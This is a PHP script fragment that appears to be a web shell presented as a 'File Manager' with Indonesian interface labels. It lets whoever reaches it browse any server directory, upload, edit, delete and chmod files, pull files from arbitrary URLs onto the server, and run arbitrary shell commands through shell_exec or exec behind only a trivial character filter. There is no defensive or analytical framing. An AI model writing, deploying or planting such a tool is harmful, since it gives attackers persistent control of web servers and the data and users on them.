false, 'msg' => 'Rename failed']; if ($old === '' || $new === '' || $dir === '') { $resp['msg'] = 'Invalid parameters'; } elseif (!file_exists($oldPath)) { $resp['msg'] = 'Original item not found'; } elseif (@rename($oldPath, $newPath)) { $resp['ok'] = true; $resp['msg'] = 'Rename success'; } else { $resp['msg'] = 'Rename error (permissions?)'; } header('Content-Type: application/json'); echo json_encode($resp); exit; } show_file_manager(); exit; // ==================== FUNGSI UTAMA FILE MANAGER ==================== function safe_download_to($url, $dest) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 60, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' ]); $data = curl_exec($ch); curl_close($ch); if ($data !== false) { return @file_put_contents($dest, $data) !== false; } } else { $data = @file_get_contents($url); if ($data !== false) { return @file_put_contents($dest, $data) !== false; } } return false; } function show_file_manager() { $BASE_DIR = getcwd(); $dir = $_GET['dir'] ?? $BASE_DIR; $dir = @realpath($dir) ?: $BASE_DIR; $files = @scandir($dir) ?: []; $chmod_msg = ''; // ==================== POST HANDLER ==================== if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['buatfolder']) && trim($_POST['newfolder']) !== '') { @mkdir($dir . DIRECTORY_SEPARATOR . trim($_POST['newfolder']), 0755); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_POST['buatfile']) && trim($_POST['newfile']) !== '') { @touch($dir . DIRECTORY_SEPARATOR . trim($_POST['newfile'])); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_POST['upload']) && !empty($_FILES['upload_file'])) { $f = $_FILES['upload_file']; for ($i = 0; $i < count($f['name']); $i++) { if ($f['error'][$i] === UPLOAD_ERR_OK) { $name = basename($f['name'][$i]); @move_uploaded_file($f['tmp_name'][$i], $dir . DIRECTORY_SEPARATOR . $name); } } header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_POST['wget_submit']) && !empty($_POST['wget_url']) && !empty($_POST['wget_name'])) { $dest = $dir . DIRECTORY_SEPARATOR . basename(trim($_POST['wget_name'])); safe_download_to(trim($_POST['wget_url']), $dest); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_POST['ch']) && isset($_GET['chmod'])) { $item = $_GET['chmod']; $perm_str = trim($_POST['perm']); if (preg_match('/^[0-7]{3,4}$/', $perm_str)) { $perm = octdec($perm_str); $target = $dir . DIRECTORY_SEPARATOR . $item; if (@chmod($target, $perm)) { $chmod_msg = "Chmod berhasil: $perm_str"; } else { $chmod_msg = "Gagal chmod pada $item"; } } } } // Delete handler if (isset($_GET['delete'])) { $del = $dir . DIRECTORY_SEPARATOR . $_GET['delete']; is_dir($del) ? @rmdir($del) : @unlink($del); header("Location: ?dir=" . urlencode($dir)); exit; } // Download handler if (isset($_GET['action']) && $_GET['action'] === 'download' && isset($_GET['item'])) { $target = $dir . DIRECTORY_SEPARATOR . $_GET['item']; if (is_file($target)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } } // Command Execution $cmd_output = ''; if (isset($_POST['exec']) && !empty($_POST['cmd'])) { $cmd = trim($_POST['cmd']); if (preg_match('/[;&|`$]/', $cmd)) { $cmd_output = "Command berbahaya tidak diizinkan."; } else { $safe_dir = escapeshellarg($dir); $full_cmd = "cd $safe_dir && $cmd 2>&1"; if (function_exists('shell_exec')) { $cmd_output = @shell_exec($full_cmd); } elseif (function_exists('exec')) { $out = []; @exec($full_cmd, $out); $cmd_output = implode("\n", $out); } else { $cmd_output = "Shell execution disabled by server."; } } } // Pisahkan folder dan file $dirs = $files_list = []; foreach ($files as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; is_dir($path) ? $dirs[] = $item : $files_list[] = $item; } natcasesort($dirs); natcasesort($files_list); $refresh_url = '?dir=' . urlencode($dir); ?> File Manager
File Manager — Path:
Refresh ↑ Naik CMD Wget Logout

Wget / Download dari URL

Execute Command

Output:
= 1048576 ? round($size/1048576,1).' MB' : ($size >= 1024 ? round($size/1024,1).' KB' : $size.' B'); $perm = substr(sprintf('%o', @fileperms($full)), -4); $safeId = 'f_' . $i++; ?>
NamaTipeUkuranIzinDiubahAksi
📁 dir- Rename Chmod Delete
file Edit Download Rename Chmod Delete
Folder ini kosong.

Chmod: (Sekarang: )

Edit File: